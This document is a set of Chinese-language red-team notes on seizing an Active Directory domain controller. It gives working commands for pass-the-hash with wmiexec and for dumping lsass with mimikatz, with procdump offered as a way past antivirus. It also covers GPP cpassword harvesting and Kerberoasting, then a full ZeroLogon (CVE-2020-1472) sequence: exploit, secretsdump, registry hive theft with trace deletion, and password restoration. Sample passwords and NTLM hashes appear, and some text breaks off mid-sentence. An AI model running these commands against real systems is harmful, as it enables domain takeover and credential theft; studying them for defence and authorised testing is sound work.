域控相关命令:
net use \\10.10.10.137\ipc$ "6151399Llh" /user:redteam\administrator #建立ipc隧道
python3 wmiexec.py -hashes 00000000000000000000000000000000:f951e45b99588cda5c03a4fc91a71f14 administrator@10.10.10.137 "whoami"
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" > 1.txt
1.获取域控方法
1.高权限读取本地密码
当域管理员在域成员机器上登录进行工作的时候,会将明文密码保存在本地进行的lsass.exe,可以通过
mimikatz来读取到本地的明文密码。
如果主机存在杀软的时候,上传mimikatz很多时候都会被杀掉,可以通过procdump+mimikatz的方式
进行绕过。先导出lsass.exe
保存到本地,通过mimikatz读lsass.dmp的明
2.sysvoL组策略获取密码
-
SYSVOL是活动目录存储文件服务副本的共享文件夹,里面包含有登录脚本,组策略数据等,域里的所有 用户都能访问这个共享文件。 - 访问SYSVOL共享文件夹,搜索包含“cpassword”的XML文件,获取AES加密的密码。
3.Kerberoasting(本质上其实就是对st进行穷举获取用户密码)
- 攻击前提
-
对于认证过程中返回的TGS,在已知加密算法的前提下,我们可以直接尝试穷举口令。(服务密码大多是默认弱密码) #也就是通过RC4对称加密算法进行加密,这是kerberos协议的一点
对于黄金,白银票据的伪造也相关。
-
可以查询到服务和服务实例账户的对应关系
-
控制的域内用户可以向域内的任何服务请求TGS
通过查询域用户上存在的spn,去请求其st,导出票据,用相关工具进行穷举,得到域用户密码。
因为我们知道spn服务是用RC4对称加密算法加密的,而且私钥是公布的,那么我们就可以使用工具进行穷举。
原理:
当域管理员配置Kerberos使用公开的对称加密算法时
y = f (x,key)
f为已知的对称加密算法 ,如RC4-HMAC-MD5
x为待加密的数据,包含时间戳,其他为固定格式的内容,
key为加密密钥,即NTLM
y为加密后的数据
如果能在Kerberos认证过程中获取到加密后的数据,则可以根据Kerberos使用的已知的对称加密算法,使用不同的对称加密算法推算破解出未被加密的数据,从而判定使用的是否为要寻找的口令。
查找SPN服务账号的原因
- ```
在域内中主要有 `主机账号、用户账号、服务账号`等3种主要账号类型
- 主机账号的口令由系统随机设置,几乎不能破解,而且每30天自动变更一次用户账号的口令复杂度由策略而定,在复杂度要求较高的域内,破解难度较大。
- 服务账号的口令存在很大的特殊性,口令在应用软件安装时往往自动设定,复杂度往往较为简单口令几乎不会更改,因为大部分应用软件没有提供修改服务账号的功能和接口,例如运行MS SQL Server 服务的sqlsvc账号等
- SPN存在于账号的属性中,因此可以通过查询所有账号的属性,遍历域内所有SPN服务。因为主机账号的口令几乎不能破解,所以只查询用户账号的SPN。
##### 对于spn的解释:
**SPN,全称`Service Principal Names`,SPN是服务器上所运行服务的唯一标识,每个要使用Kerberos认证的服务都需要一个SPN。**
**SPN分为两种,一种注册在AD上`机器账户(Computers)`下,另一种注册在`域用户账户(Users)`下**
**当一个服务的权限为`Local System`或`Network Service`,则SPN注册在机器帐户(Computers)下**
**当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下**
-
5.CVE-2020-1472-ZeroLogon
(漏洞利用成功后是把域控这个机器用户的密码置为空,与域管的密码无关。)
使用zerologin脚本复现
python3 zerologon_tester.py ad01 10.10.10.137(检测机子是否存在漏洞)
漏洞利用
下载exp: git clone https://github.com/dirkjanm/CVE-2020-1472
更改域控制器帐户的密码,将置空DC域控的密码
python3 cve-2020-1472-exploit.py dc01 10.10.10.137
使用impacket包中的secretsdum.py来获取相关的HASh
python3 secretsdump.py only.com/dc\$@10.10.10.137 -no-pass
同步获取到HASH后,可以利用wmiexec.py登录,从而获取一个shell
python3 wmiexec.py -hashes
aad3b435b51404eeaad3b435b51404ee:f951e45b99588cda5c03a4fc91a71f14
redteam.club/administrator@10.10.10.137
在获取shell之后,将机器的密码置空,会导致域控脱域
如果hash是这样就表示被置空(Hash:31d6cfe0d16ae931b73c59d7e0c089c0)
在攻击过程中,将机器的密码置为空,这一步是会导致域控脱域的。其本质原因是由于机器用户在AD中的密码(存储在ntds.dic)与本地的注册表lsass里面的密码不一致导致的。所以要将其恢复,将AD中的密码与注册表lsass里面的密码保持一致。
像服务器一样,DC拥有一个带有密码的机器帐户,该帐户以加密方式存储在注册表中。引导时将其加载到lsass中。如果使用Zerologon更改密码,则仅AD中的密码会更改,而不是注册表或lsass中的密码。利用后每当发出新的Kerberos票证时,DC无法使用lsass中的机器帐户密码来解密服务票证,并且无法使用Kerberos中断身份验证。
恢复原HASH
导出sam
获取hash
python wmiexec.py -hashes <HASH> DOMAIN/DOMAIN_USER@DC_IP_ADDR
python3 wmiexec.py -hashes
aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387
redteam.club/administrator@10.10.10.137
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
exit
执行以下命令,获取SAM中原来的HASH
python3 reinstall_original_pw.py ad01 10.10.10.137
813f8ed1cab4b139a984ec6df5bff166c4370395c011194854c788172b5f09e8bc7d174505db585a
0f77689274f23c5c9cc827f9d027bf2b59b9fddfe213019c2702a50a5aca3d4f4f4cf318d01a5b29
3418aca75fedbffe5c3d16cf11c5b52216017f5cc961773e5efb1b8ab0db19104f29a972d9362897
a6bd93ba44d6366bed4f0ba5c9e0a315c65f0dfc63c5a3e718c810d95746d2622fb1b265c4bc43ff
83570f184672c6186044ae52d118991a3f6f67d16aecc6273a0ec229182d9de4a22afb6ec8a7a54a
ed9ac87eda6f688e6d357aa74e4d5328deaf09f5b81a41f6e2e123f12b8105db8d30b5a3c025aced
查看是否恢复
python3 secretsdump.py redteam.club/ad01\$@10.10.10.137 -no-pass
6.进程迁移与窃取令牌
那么这两个都可通过CS来执行。
进程迁移
入侵了域管理员所登录的服务器,将进程迁移到域管理员所运行的进程,就可以获得域管理员权限
窃取令牌
当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限。